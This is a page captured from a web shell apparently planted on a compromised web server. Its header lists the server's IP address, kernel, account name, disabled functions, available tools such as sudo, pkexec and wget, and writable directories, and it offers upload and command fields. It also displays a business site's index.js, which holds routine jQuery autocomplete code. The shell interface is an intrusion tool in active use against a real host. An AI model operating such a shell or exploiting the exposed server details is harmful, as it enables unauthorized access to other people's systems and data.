403Webshell
Server IP : 51.89.169.208  /  Your IP : 216.73.216.57
Web Server : Apache
System : Linux ns3209505.ip-198-244-202.eu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : yellowleaf ( 1019)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/yellowleaf/public_html/business/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yellowleaf/public_html/business/index.js
// start: Search Box
$('.search-box-open').click(function() {
    $('.search-box').addClass('show')
    $('html').addClass('overflow-hidden')
})

$('.search-box-close').click(function() {
    $('.search-box').removeClass('show')
    $('html').removeClass('overflow-hidden')
})
// end: Search Box



// start: Busines Item Features
$('.business-item-bottom-features-header').click(function() {
    $(this).toggleClass('active')
})
// end: Busines Item Features




function categoryAutocomplete(inp) {
    var selected = -1;

    inp.on('input', function () {
        $.ajax({
            url: '/ajax/ajax_search_cat.php?hint=' + inp.val(),
            success: function (result) {
                removeAutocomplete();
                selected = -1;

                var resp = JSON.parse(result);
                var ul = $(document.createElement('ul'));
                ul.addClass('form-control-autocomplete-list');

                resp.data.forEach(function (item) {
                    var li = $(document.createElement('li'));
                    li.html(item.keyword);

                    li.click(function () {
                        inp.val($.trim($(this).text()));
                        removeAutocomplete();
                    })

                    ul.append(li);
                })

                inp.after(ul);
            }
        })
    })

    inp.keydown(function (e) {
        var items = inp.parent().find('.form-control-autocomplete-list li');
        switch (e.key) {
            case 'ArrowDown':
                selected++;
                setActive(items);
                break;
            case 'ArrowUp':
                selected--;
                setActive(items);
                break;
            case 'Enter':
                if (selected < 0) return;
                e.preventDefault();
                items.eq(selected).click();
                break;
        }
    })

    function setActive(items) {
        items.removeClass('active');

        if (selected >= items.length) selected = 0;
        if (selected < 0) selected = items.length - 1;

        items.eq(selected).addClass('active');
    }

}
categoryAutocomplete($('.business-autocomplete'))

function locationAutocomplete(inp) {
    var selected = -1;

    inp.on('input', function () {
        $.ajax({
            url: '/ajax/ajax_search_loc.php?hint=' + inp.val(),
            success: function (result) {
                removeAutocomplete();
                selected = -1;

                var resp = JSON.parse(result);
                var ul = $(document.createElement('ul'));
                ul.addClass('form-control-autocomplete-list');

                resp.data.forEach(function (item) {
                    var li = $(document.createElement('li'));
                    li.text(item.stripped_name);
                    li.attr("data-id", item.town_id);

                    li.click(function () {
                        inp.val($.trim($(this).text()));
                        $("#a_id").val($.trim($(this).data("id")));
                        removeAutocomplete();
                    })

                    ul.append(li);
                })

                inp.after(ul);
            }
        })
    })

    inp.keydown(function (e) {
        var items = inp.parent().find('.form-control-autocomplete-list li');
        switch (e.key) {
            case 'ArrowDown':
                selected++;
                setActive(items);
                break;
            case 'ArrowUp':
                selected--;
                setActive(items);
                break;
            case 'Enter':
                if (selected < 0) return;
                e.preventDefault();
                items.eq(selected).click();
                break;
        }
    })

    function setActive(items) {
        items.removeClass('active');

        if (selected >= items.length) selected = 0;
        if (selected < 0) selected = items.length - 1;

        items.eq(selected).addClass('active');
    }

}
locationAutocomplete($('.location-autocomplete'))

$(document).click(function (e) {
    if (!$(e.target).is('.form-control-autocomplete-list, .form-control-autocomplete-list li')) {
        removeAutocomplete();
    }
})

function removeAutocomplete() {
    $('.form-control-autocomplete-list').remove();
}

Youez - 2016 - github.com/yon3zu
LinuXploit